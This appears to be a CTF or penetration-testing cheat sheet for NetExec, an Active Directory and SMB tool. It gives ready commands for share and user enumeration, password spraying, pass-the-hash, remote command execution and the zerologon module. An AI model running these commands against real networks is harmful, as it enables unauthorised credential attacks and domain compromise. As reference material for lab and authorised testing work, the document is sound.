Netexec
Table of Contents
Successor to CrackMapExec. Swiss-army-knife tool for AD/SMB enumeration, credential validation, and post-exploitation across SMB, LDAP, WinRM, MSSQL, RDP, SSH, and more. Usually the first tool reached for once any credential (including null/guest) is available on an AD target.
Related: BloodHound Active Directory Proxy CTF
Installation
pipx install netexec # or pip install netexec --break-system-packages
Core Syntax
nxc <protocol> <target> -u <user> -p <password> [module/flag]
Protocols: smb, ldap, winrm, mssql, rdp, ssh, vnc,
ftp
Common Workflows
Null/guest session enumeration
nxc smb $IP -u 'guest' -p '' --shares nxc smb $IP -u '' -p '' --shares
Share enumeration
nxc smb $IP -u <user> -p <password> --shares
RID brute force (user enumeration)
nxc smb $IP -u <user> -p <password> --rid
Credential validation / spray
nxc smb $IP -u users.txt -p passwords.txt --continue-on-success nxc smb $IP -u <user> -H <ntlm_hash> # pass the hash
Command execution (once local admin creds/hash held)
nxc smb $IP -u <user> -p <password> -x 'whoami' nxc smb $IP -u <user> -p <password> -X 'whoami' # PowerShell
Modules
nxc smb $IP -u <user> -p <password> -M spider_plus # crawl all shares nxc smb $IP -u <user> -p <password> -M zerologon nxc ldap $IP -u <user> -p <password> --bloodhound -c All --dns-server $IP
Tips
-u '' -p ''and-u 'guest' -p ''are both worth trying — behaviour can differ between anonymous and guest sessions depending on target configuration- Green
[+]indicates a valid login; nxc also distinguishes disabled/locked accounts from wrong credentials in its output — useful for verifying claims found in loot (e.g. a document stating an account is "disabled") rather than trusting them --sharesrun with a valid low-priv credential often reveals more shares/permissions than a null session did — always re-run enumeration after each credential upgrade- Can drive BloodHound collection directly via
--bloodhound, avoiding a separatebloodhound-pythoninvocation